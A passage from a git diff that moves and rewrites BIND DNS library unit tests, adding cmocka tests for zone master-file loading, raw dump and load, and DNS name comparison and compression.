-		cmocka_unit_test(delete_test),
-		cmocka_unit_test(deletekey_test),
-		cmocka_unit_test(find_test),
-		cmocka_unit_test(issecuredomain_test),
-		cmocka_unit_test(dump_test),
-		cmocka_unit_test(nta_test),
-	};
-
-	return (cmocka_run_group_tests(tests, _setup, _teardown));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(add, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(delete, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(deletekey, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(find, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(issecuredomain, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(dump, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(nta, setup_test, teardown_test)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/master_test.c b/tests/dns/master_test.c
new file mode 100644
index 0000000000..8d33f5ed4b
--- /dev/null
+++ b/tests/dns/master_test.c
@@ -0,0 +1,581 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/dir.h>
+#include <isc/string.h>
+#include <isc/util.h>
+
+#include <dns/cache.h>
+#include <dns/callbacks.h>
+#include <dns/db.h>
+#include <dns/master.h>
+#include <dns/masterdump.h>
+#include <dns/name.h>
+#include <dns/rdata.h>
+#include <dns/rdatalist.h>
+#include <dns/rdataset.h>
+
+#include <tests/dns.h>
+
+static void
+nullmsg(dns_rdatacallbacks_t *cb, const char *fmt, ...) {
+	UNUSED(cb);
+	UNUSED(fmt);
+}
+
+#define BUFLEN	    255
+#define BIGBUFLEN   (70 * 1024)
+#define TEST_ORIGIN "test"
+
+static dns_masterrawheader_t header;
+static bool headerset;
+
+dns_name_t dns_origin;
+char origin[sizeof(TEST_ORIGIN)];
+unsigned char name_buf[BUFLEN];
+dns_rdatacallbacks_t callbacks;
+char *include_file = NULL;
+
+static void
+rawdata_callback(dns_zone_t *zone, dns_masterrawheader_t *header);
+
+static isc_result_t
+add_callback(void *arg, const dns_name_t *owner,
+	     dns_rdataset_t *dataset DNS__DB_FLARG) {
+	char buf[BIGBUFLEN];
+	isc_buffer_t target;
+	isc_result_t result;
+
+	UNUSED(arg);
+
+	isc_buffer_init(&target, buf, BIGBUFLEN);
+	result = dns_rdataset_totext(dataset, owner, false, false, &target);
+	return (result);
+}
+
+static void
+rawdata_callback(dns_zone_t *zone, dns_masterrawheader_t *h) {
+	UNUSED(zone);
+	header = *h;
+	headerset = true;
+}
+
+static isc_result_t
+setup_master(void (*warn)(struct dns_rdatacallbacks *, const char *, ...),
+	     void (*error)(struct dns_rdatacallbacks *, const char *, ...)) {
+	isc_result_t result;
+	int len;
+	isc_buffer_t source;
+	isc_buffer_t target;
+
+	strlcpy(origin, TEST_ORIGIN, sizeof(origin));
+	len = strlen(origin);
+	isc_buffer_init(&source, origin, len);
+	isc_buffer_add(&source, len);
+	isc_buffer_setactive(&source, len);
+	isc_buffer_init(&target, name_buf, BUFLEN);
+	dns_name_init(&dns_origin, NULL);
+	dns_master_initrawheader(&header);
+
+	result = dns_name_fromtext(&dns_origin, &source, dns_rootname, 0,
+				   &target);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	dns_rdatacallbacks_init_stdio(&callbacks);
+	callbacks.add = add_callback;
+	callbacks.rawdata = rawdata_callback;
+	callbacks.zone = NULL;
+	if (warn != NULL) {
+		callbacks.warn = warn;
+	}
+	if (error != NULL) {
+		callbacks.error = error;
+	}
+	headerset = false;
+	return (result);
+}
+
+static isc_result_t
+test_master(const char *workdir, const char *testfile,
+	    dns_masterformat_t format,
+	    void (*warn)(struct dns_rdatacallbacks *, const char *, ...),
+	    void (*error)(struct dns_rdatacallbacks *, const char *, ...)) {
+	isc_result_t result;
+
+	result = setup_master(warn, error);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	dns_rdatacallbacks_init_stdio(&callbacks);
+	callbacks.add = add_callback;
+	callbacks.rawdata = rawdata_callback;
+	callbacks.zone = NULL;
+	if (warn != NULL) {
+		callbacks.warn = warn;
+	}
+	if (error != NULL) {
+		callbacks.error = error;
+	}
+
+	if (workdir != NULL) {
+		result = isc_dir_chdir(workdir);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
+		}
+	}
+
+	result = dns_master_loadfile(testfile, &dns_origin, &dns_origin,
+				     dns_rdataclass_in, true, 0, &callbacks,
+				     NULL, NULL, mctx, format, 0);
+
+	return (result);
+}
+
+static void
+include_callback(const char *filename, void *arg) {
+	char **argp = (char **)arg;
+	*argp = isc_mem_strdup(mctx, filename);
+}
+
+/*
+ * Successful load test:
+ * dns_master_loadfile() loads a valid master file and returns success
+ */
+ISC_RUN_TEST_IMPL(load) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master1.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, ISC_R_SUCCESS);
+}
+
+/*
+ * Unexpected end of file test:
+ * dns_master_loadfile() returns DNS_R_UNEXPECTED when file ends too soon
+ */
+ISC_RUN_TEST_IMPL(unexpected) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master2.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, ISC_R_UNEXPECTEDEND);
+}
+
+/*
+ * No owner test:
+ * dns_master_loadfile() accepts broken zones with no TTL for first record
+ * if it is an SOA
+ */
+ISC_RUN_TEST_IMPL(noowner) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master3.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, DNS_R_NOOWNER);
+}
+
+/*
+ * No TTL test:
+ * dns_master_loadfile() returns DNS_R_NOOWNER when no owner name is
+ * specified
+ */
+ISC_RUN_TEST_IMPL(nottl) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master4.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, ISC_R_SUCCESS);
+}
+
+/*
+ * Bad class test:
+ * dns_master_loadfile() returns DNS_R_BADCLASS when record class doesn't
+ * match zone class
+ */
+ISC_RUN_TEST_IMPL(badclass) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master5.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, DNS_R_BADCLASS);
+}
+
+/*
+ * Too big rdata test:
+ * dns_master_loadfile() returns ISC_R_NOSPACE when record is too big
+ */
+ISC_RUN_TEST_IMPL(toobig) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master15.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, ISC_R_NOSPACE);
+}
+
+/*
+ * Maximum rdata test:
+ * dns_master_loadfile() returns ISC_R_SUCCESS when record is maximum size
+ */
+ISC_RUN_TEST_IMPL(maxrdata) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master16.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, ISC_R_SUCCESS);
+}
+
+/*
+ * DNSKEY test:
+ * dns_master_loadfile() understands DNSKEY with key material
+ */
+ISC_RUN_TEST_IMPL(dnskey) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master6.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, ISC_R_SUCCESS);
+}
+
+/*
+ * DNSKEY with no key material test:
+ * dns_master_loadfile() understands DNSKEY with no key material
+ *
+ * RFC 4034 removed the ability to signal NOKEY, so empty key material should
+ * be rejected.
+ */
+ISC_RUN_TEST_IMPL(dnsnokey) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master7.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, ISC_R_UNEXPECTEDEND);
+}
+
+/*
+ * Include test:
+ * dns_master_loadfile() understands $INCLUDE
+ */
+ISC_RUN_TEST_IMPL(include) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master8.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, DNS_R_SEENINCLUDE);
+}
+
+/*
+ * Include file list test:
+ * dns_master_loadfile4() returns names of included file
+ */
+ISC_RUN_TEST_IMPL(master_includelist) {
+	isc_result_t result;
+	char *filename = NULL;
+
+	UNUSED(state);
+
+	result = setup_master(nullmsg, nullmsg);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_dir_chdir(SRCDIR);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_master_loadfile(
+		TESTS_DIR "/testdata/master/master8.data", &dns_origin,
+		&dns_origin, dns_rdataclass_in, 0, true, &callbacks,
+		include_callback, &filename, mctx, dns_masterformat_text, 0);
+	assert_int_equal(result, DNS_R_SEENINCLUDE);
+	assert_non_null(filename);
+	if (filename != NULL) {
+		assert_string_equal(filename, "testdata/master/master6.data");
+		isc_mem_free(mctx, filename);
+	}
+}
+
+/*
+ * Include failure test:
+ * dns_master_loadfile() understands $INCLUDE failures
+ */
+ISC_RUN_TEST_IMPL(includefail) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master9.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, DNS_R_BADCLASS);
+}
+
+/*
+ * Non-empty blank lines test:
+ * dns_master_loadfile() handles non-empty blank lines
+ */
+ISC_RUN_TEST_IMPL(blanklines) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master10.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, ISC_R_SUCCESS);
+}
+
+/*
+ * SOA leading zeroes test:
+ * dns_master_loadfile() allows leading zeroes in SOA
+ */
+
+ISC_RUN_TEST_IMPL(leadingzero) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master11.data",
+			     dns_masterformat_text, nullmsg, nullmsg);
+	assert_int_equal(result, ISC_R_SUCCESS);
+}
+
+/* masterfile totext tests */
+ISC_RUN_TEST_IMPL(totext) {
+	isc_result_t result;
+	dns_rdataset_t rdataset;
+	dns_rdatalist_t rdatalist;
+	isc_buffer_t target;
+	unsigned char buf[BIGBUFLEN];
+
+	UNUSED(state);
+
+	/* First, test with an empty rdataset */
+	dns_rdatalist_init(&rdatalist);
+	rdatalist.rdclass = dns_rdataclass_in;
+	rdatalist.type = dns_rdatatype_none;
+	rdatalist.covers = dns_rdatatype_none;
+
+	dns_rdataset_init(&rdataset);
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
+
+	isc_buffer_init(&target, buf, BIGBUFLEN);
+	result = dns_master_rdatasettotext(dns_rootname, &rdataset,
+					   &dns_master_style_debug, NULL,
+					   &target);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(isc_buffer_usedlength(&target), 0);
+
+	/*
+	 * XXX: We will also need to add tests for dumping various
+	 * rdata types, classes, etc, and comparing the results against
+	 * known-good output.
+	 */
+}
+
+/*
+ * Raw load test:
+ * dns_master_loadfile() loads a valid raw file and returns success
+ */
+ISC_RUN_TEST_IMPL(loadraw) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	/* Raw format version 0 */
+	result = test_master(BUILDDIR, "testdata/master/master12.data",
+			     dns_masterformat_raw, nullmsg, nullmsg);
+	assert_string_equal(isc_result_totext(result), "success");
+	assert_true(headerset);
+	assert_int_equal(header.flags, 0);
+
+	/* Raw format version 1, no source serial  */
+	result = test_master(BUILDDIR, "testdata/master/master13.data",
+			     dns_masterformat_raw, nullmsg, nullmsg);
+	assert_string_equal(isc_result_totext(result), "success");
+	assert_true(headerset);
+	assert_int_equal(header.flags, 0);
+
+	/* Raw format version 1, source serial == 2011120101 */
+	result = test_master(BUILDDIR, "testdata/master/master14.data",
+			     dns_masterformat_raw, nullmsg, nullmsg);
+	assert_string_equal(isc_result_totext(result), "success");
+	assert_true(headerset);
+	assert_true((header.flags & DNS_MASTERRAW_SOURCESERIALSET) != 0);
+	assert_int_equal(header.sourceserial, 2011120101);
+}
+
+/*
+ * Raw dump test:
+ * dns_master_dump*() functions dump valid raw files
+ */
+ISC_RUN_TEST_IMPL(dumpraw) {
+	isc_result_t result;
+	dns_db_t *db = NULL;
+	dns_dbversion_t *version = NULL;
+	char myorigin[sizeof(TEST_ORIGIN)];
+	dns_name_t dnsorigin;
+	isc_buffer_t source, target;
+	unsigned char namebuf[BUFLEN];
+	int len;
+
+	UNUSED(state);
+
+	strlcpy(myorigin, TEST_ORIGIN, sizeof(myorigin));
+	len = strlen(myorigin);
+	isc_buffer_init(&source, myorigin, len);
+	isc_buffer_add(&source, len);
+	isc_buffer_setactive(&source, len);
+	isc_buffer_init(&target, namebuf, BUFLEN);
+	dns_name_init(&dnsorigin, NULL);
+	result = dns_name_fromtext(&dnsorigin, &source, dns_rootname, 0,
+				   &target);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_db_create(mctx, "rbt", &dnsorigin, dns_dbtype_zone,
+			       dns_rdataclass_in, 0, NULL, &db);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_dir_chdir(SRCDIR);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_db_load(db, TESTS_DIR "/testdata/master/master1.data",
+			     dns_masterformat_text, 0);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_dir_chdir(BUILDDIR);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_db_currentversion(db, &version);
+
+	result = dns_master_dump(mctx, db, version, &dns_master_style_default,
+				 "test.dump", dns_masterformat_raw, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = test_master(NULL, "test.dump", dns_masterformat_raw, nullmsg,
+			     nullmsg);
+	assert_string_equal(isc_result_totext(result), "success");
+	assert_true(headerset);
+	assert_int_equal(header.flags, 0);
+
+	dns_master_initrawheader(&header);
+	header.sourceserial = 12345;
+	header.flags |= DNS_MASTERRAW_SOURCESERIALSET;
+
+	unlink("test.dump");
+	result = dns_master_dump(mctx, db, version, &dns_master_style_default,
+				 "test.dump", dns_masterformat_raw, &header);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = test_master(NULL, "test.dump", dns_masterformat_raw, nullmsg,
+			     nullmsg);
+	assert_string_equal(isc_result_totext(result), "success");
+	assert_true(headerset);
+	assert_true((header.flags & DNS_MASTERRAW_SOURCESERIALSET) != 0);
+	assert_int_equal(header.sourceserial, 12345);
+
+	unlink("test.dump");
+	dns_db_closeversion(db, &version, false);
+	dns_db_detach(&db);
+}
+
+static const char *warn_expect_value;
+static bool warn_expect_result;
+
+static void
+warn_expect(struct dns_rdatacallbacks *mycallbacks, const char *fmt, ...) {
+	char buf[4096];
+	va_list ap;
+
+	UNUSED(mycallbacks);
+
+	warn_expect_result = false;
+
+	va_start(ap, fmt);
+	vsnprintf(buf, sizeof(buf), fmt, ap);
+	va_end(ap);
+
+	if (warn_expect_value != NULL && strstr(buf, warn_expect_value) != NULL)
+	{
+		warn_expect_result = true;
+	}
+}
+
+/*
+ * Origin change test:
+ * dns_master_loadfile() rejects zones with inherited name following $ORIGIN
+ */
+ISC_RUN_TEST_IMPL(neworigin) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	warn_expect_value = "record with inherited owner";
+	result = test_master(SRCDIR, TESTS_DIR "/testdata/master/master17.data",
+			     dns_masterformat_text, warn_expect, nullmsg);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_true(warn_expect_result);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(load)
+ISC_TEST_ENTRY(unexpected)
+ISC_TEST_ENTRY(noowner)
+ISC_TEST_ENTRY(nottl)
+ISC_TEST_ENTRY(badclass)
+ISC_TEST_ENTRY(dnskey)
+ISC_TEST_ENTRY(dnsnokey)
+ISC_TEST_ENTRY(include)
+ISC_TEST_ENTRY(master_includelist)
+ISC_TEST_ENTRY(includefail)
+ISC_TEST_ENTRY(blanklines)
+ISC_TEST_ENTRY(leadingzero)
+ISC_TEST_ENTRY(totext)
+ISC_TEST_ENTRY(loadraw)
+ISC_TEST_ENTRY(dumpraw)
+ISC_TEST_ENTRY(toobig)
+ISC_TEST_ENTRY(maxrdata)
+ISC_TEST_ENTRY(neworigin)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/mkraw.pl b/tests/dns/mkraw.pl
similarity index 86%
rename from lib/dns/tests/mkraw.pl
rename to tests/dns/mkraw.pl
index b05d798356..5e0db75ed2 100644
--- a/lib/dns/tests/mkraw.pl
+++ b/tests/dns/mkraw.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl -w
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/tests/dns/name_test.c b/tests/dns/name_test.c
new file mode 100644
index 0000000000..6e9017c465
--- /dev/null
+++ b/tests/dns/name_test.c
@@ -0,0 +1,961 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/buffer.h>
+#include <isc/commandline.h>
+#include <isc/mem.h>
+#include <isc/os.h>
+#include <isc/thread.h>
+#include <isc/util.h>
+
+#include <dns/compress.h>
+#include <dns/fixedname.h>
+#include <dns/name.h>
+
+#include <tests/dns.h>
+
+/* Set to true (or use -v option) for verbose output */
+static bool verbose = false;
+
+/* dns_name_fullcompare test */
+ISC_RUN_TEST_IMPL(fullcompare) {
+	dns_fixedname_t fixed1;
+	dns_fixedname_t fixed2;
+	dns_name_t *name1;
+	dns_name_t *name2;
+	dns_namereln_t relation;
+	int i;
+	isc_result_t result;
+	struct {
+		const char *name1;
+		const char *name2;
+		dns_namereln_t relation;
+		int order;
+		unsigned int nlabels;
+	} data[] = {
+		/* relative */
+		{ "", "", dns_namereln_equal, 0, 0 },
+		{ "foo", "", dns_namereln_subdomain, 1, 0 },
+		{ "", "foo", dns_namereln_contains, -1, 0 },
+		{ "foo", "bar", dns_namereln_none, 1, 0 },
+		{ "bar", "foo", dns_namereln_none, -1, 0 },
+		{ "bar.foo", "foo", dns_namereln_subdomain, 1, 1 },
+		{ "foo", "bar.foo", dns_namereln_contains, -1, 1 },
+		{ "baz.bar.foo", "bar.foo", dns_namereln_subdomain, 1, 2 },
+		{ "bar.foo", "baz.bar.foo", dns_namereln_contains, -1, 2 },
+		{ "foo.example", "bar.example", dns_namereln_commonancestor, 1,
+		  1 },
+
+		/* absolute */
+		{ ".", ".", dns_namereln_equal, 0, 1 },
+		{ "foo.", "bar.", dns_namereln_commonancestor, 1, 1 },
+		{ "bar.", "foo.", dns_namereln_commonancestor, -1, 1 },
+		{ "foo.example.", "bar.example.", dns_namereln_commonancestor,
+		  1, 2 },
+		{ "bar.foo.", "foo.", dns_namereln_subdomain, 1, 2 },
+		{ "foo.", "bar.foo.", dns_namereln_contains, -1, 2 },
+		{ "baz.bar.foo.", "bar.foo.", dns_namereln_subdomain, 1, 3 },
+		{ "bar.foo.", "baz.bar.foo.", dns_namereln_contains, -1, 3 },
+		{ NULL, NULL, dns_namereln_none, 0, 0 }
+	};
+
+	UNUSED(state);
+
+	name1 = dns_fixedname_initname(&fixed1);
+	name2 = dns_fixedname_initname(&fixed2);
+	for (i = 0; data[i].name1 != NULL; i++) {
+		int order = 3000;
+		unsigned int nlabels = 3000;
+
+		if (data[i].name1[0] == 0) {
+			dns_fixedname_init(&fixed1);
+		} else {
+			result = dns_name_fromstring(name1, data[i].name1, NULL,
+						     0, NULL);
+			assert_int_equal(result, ISC_R_SUCCESS);
+		}
+		if (data[i].name2[0] == 0) {
+			dns_fixedname_init(&fixed2);
+		} else {
+			result = dns_name_fromstring(name2, data[i].name2, NULL,
+						     0, NULL);
+			assert_int_equal(result, ISC_R_SUCCESS);
+		}
+		relation = dns_name_fullcompare(name1, name1, &order, &nlabels);
+		assert_int_equal(relation, dns_namereln_equal);
+		assert_int_equal(order, 0);
+		assert_int_equal(nlabels, name1->labels);
+
+		/* Some random initializer */
+		order = 3001;
+		nlabels = 3001;
+
+		relation = dns_name_fullcompare(name1, name2, &order, &nlabels);
+		assert_int_equal(relation, data[i].relation);
+		assert_int_equal(order, data[i].order);
+		assert_int_equal(nlabels, data[i].nlabels);
+	}
+}
+
+static void
+compress_test(const dns_name_t *name1, const dns_name_t *name2,
+	      const dns_name_t *name3, unsigned char *compressed,
+	      unsigned int compressed_length, unsigned char *expanded,
+	      unsigned int expanded_length, dns_compress_t *cctx,
+	      dns_decompress_t dctx, bool rdata) {
+	isc_buffer_t source;
+	isc_buffer_t target;
+	dns_name_t name;
+	unsigned char buf1[1024];
+	unsigned char buf2[1024];
+
+	isc_buffer_init(&source, buf1, sizeof(buf1));
+	isc_buffer_init(&target, buf2, sizeof(buf2));
+
+	/*
+	 * compression offsets are not allowed to be zero so our
+	 * names need to start after a little fake header
+	 */
+	isc_buffer_putuint16(&source, 0xEAD);
+	isc_buffer_putuint16(&target, 0xEAD);
+
+	if (rdata) {
+		/* RDATA compression */
+		assert_int_equal(dns_name_towire(name1, cctx, &source, NULL),
+				 ISC_R_SUCCESS);
+		assert_int_equal(dns_name_towire(name2, cctx, &source, NULL),
+				 ISC_R_SUCCESS);
+		assert_int_equal(dns_name_towire(name2, cctx, &source, NULL),
+				 ISC_R_SUCCESS);
+		assert_int_equal(dns_name_towire(name3, cctx, &source, NULL),
+				 ISC_R_SUCCESS);
+	} else {
+		/* Owner name compression */
+		uint16_t offset = 0xffff;
+		assert_int_equal(dns_name_towire(name1, cctx, &source, &offset),
+				 ISC_R_SUCCESS);
+
+		offset = 0xffff;
+		assert_int_equal(dns_name_towire(name2, cctx, &source, &offset),
+				 ISC_R_SUCCESS);
+		assert_int_equal(dns_name_towire(name2, cctx, &source, &offset),
+				 ISC_R_SUCCESS);
+
+		offset = 0xffff;
+		assert_int_equal(dns_name_towire(name3, cctx, &source, &offset),
+				 ISC_R_SUCCESS);
+	}
+	assert_int_equal(source.used, compressed_length);
+	assert_true(memcmp(source.base, compressed, source.used) == 0);
+
+	isc_buffer_setactive(&source, source.used);
+
+	dns_name_init(&name, NULL);
+	RUNTIME_CHECK(isc_buffer_getuint16(&source) == 0xEAD);
+	RUNTIME_CHECK(dns_name_fromwire(&name, &source, dctx, &target) ==
+		      ISC_R_SUCCESS);
+	RUNTIME_CHECK(dns_name_fromwire(&name, &source, dctx, &target) ==
+		      ISC_R_SUCCESS);
+	RUNTIME_CHECK(dns_name_fromwire(&name, &source, dctx, &target) ==
+		      ISC_R_SUCCESS);
+	RUNTIME_CHECK(dns_name_fromwire(&name, &source, dctx, &target) ==
+		      ISC_R_SUCCESS);
+
+	assert_int_equal(target.used, expanded_length);
+	assert_true(memcmp(target.base, expanded, target.used) == 0);
+}
+
+/* name compression test */
+ISC_RUN_TEST_IMPL(compression) {
+	bool permitted;
+	dns_compress_t cctx;
+	dns_decompress_t dctx;
+	dns_name_t name1;
+	dns_name_t name2;
+	dns_name_t name3;
+	dns_name_t name4;
+	isc_region_t r;
+	unsigned char plain1[] = "\003yyy\003foo";
+	unsigned char plain2[] = "\003bar\003yyy\003foo";
+	unsigned char plain3[] = "\003xxx\003bar\003foo";
+	unsigned char plain4[] = "\003xxx\003bar\003zzz";
+
+	unsigned char plain[] = "\x0E\xAD"
+				"\003yyy\003foo\0"
+				"\003bar\003yyy\003foo\0"
+				"\003bar\003yyy\003foo\0"
+				"\003xxx\003bar\003foo";
+
+	unsigned char compressed[29] = "\x0E\xAD"
+				       "\003yyy\003foo\0"
+				       "\003bar\xc0\x02"
+				       "\xc0\x0B"
+				       "\003xxx\003bar\xc0\x06";
+	/*
+	 * Only the second owner name is compressed.
+	 */
+	unsigned char disabled_owner[] = "\x0E\xAD"
+					 "\003yyy\003foo\0"
+					 "\003bar\003yyy\003foo\0"
+					 "\xc0\x0B"
+					 "\003xxx\003bar\003foo";
+
+	unsigned char root_plain[] = "\x0E\xAD"
+				     "\003yyy\003foo\0"
+				     "\0\0"
+				     "\003xxx\003bar\003zzz";
+
+	UNUSED(state);
+
+	dns_name_init(&name1, NULL);
+	r.base = plain1;
+	r.length = sizeof(plain1);
+	dns_name_fromregion(&name1, &r);
+
+	dns_name_init(&name2, NULL);
+	r.base = plain2;
+	r.length = sizeof(plain2);
+	dns_name_fromregion(&name2, &r);
+
+	dns_name_init(&name3, NULL);
+	r.base = plain3;
+	r.length = sizeof(plain3);
+	dns_name_fromregion(&name3, &r);
+
+	dns_name_init(&name4, NULL);
+	r.base = plain4;
+	r.length = sizeof(plain3);
+	dns_name_fromregion(&name4, &r);
+
+	/* Test 1: off, rdata */
+	permitted = false;
+	dns_compress_init(&cctx, mctx, 0);
+	dns_compress_setpermitted(&cctx, permitted);
+	dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted);
+
+	compress_test(&name1, &name2, &name3, plain, sizeof(plain), plain,
+		      sizeof(plain), &cctx, dctx, true);
+
+	dns_compress_rollback(&cctx, 0);
+	dns_compress_invalidate(&cctx);
+
+	/* Test2: on, rdata */
+	permitted = true;
+	dns_compress_init(&cctx, mctx, 0);
+	dns_compress_setpermitted(&cctx, permitted);
+	dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted);
+
+	compress_test(&name1, &name2, &name3, compressed, sizeof(compressed),
+		      plain, sizeof(plain), &cctx, dctx, true);
+
+	dns_compress_rollback(&cctx, 0);
+	dns_compress_invalidate(&cctx);
+
+	/* Test3: off, disabled, rdata */
+	permitted = false;
+	dns_compress_init(&cctx, mctx, DNS_COMPRESS_DISABLED);
+	dns_compress_setpermitted(&cctx, permitted);
+	dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted);
+
+	compress_test(&name1, &name2, &name3, plain, sizeof(plain), plain,
+		      sizeof(plain), &cctx, dctx, true);
+
+	dns_compress_rollback(&cctx, 0);
+	dns_compress_invalidate(&cctx);
+
+	/* Test4: on, disabled, rdata */
+	permitted = true;
+	dns_compress_init(&cctx, mctx, DNS_COMPRESS_DISABLED);
+	dns_compress_setpermitted(&cctx, permitted);
+	dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted);
+
+	compress_test(&name1, &name2, &name3, plain, sizeof(plain), plain,
+		      sizeof(plain), &cctx, dctx, true);
+
+	dns_compress_rollback(&cctx, 0);
+	dns_compress_invalidate(&cctx);
+
+	/* Test5: on, rdata */
+	permitted = true;
+	dns_compress_init(&cctx, mctx, 0);
+	dns_compress_setpermitted(&cctx, permitted);
+	dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted);
+
+	compress_test(&name1, dns_rootname, &name4, root_plain,
+		      sizeof(root_plain), root_plain, sizeof(root_plain), &cctx,
+		      dctx, true);
+
+	dns_compress_rollback(&cctx, 0);
+	dns_compress_invalidate(&cctx);
+
+	/* Test 6: off, owner */
+	permitted = false;
+	dns_compress_init(&cctx, mctx, 0);
+	dns_compress_setpermitted(&cctx, permitted);
+	dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted);
+
+	compress_test(&name1, &name2, &name3, plain, sizeof(plain), plain,
+		      sizeof(plain), &cctx, dctx, false);
+
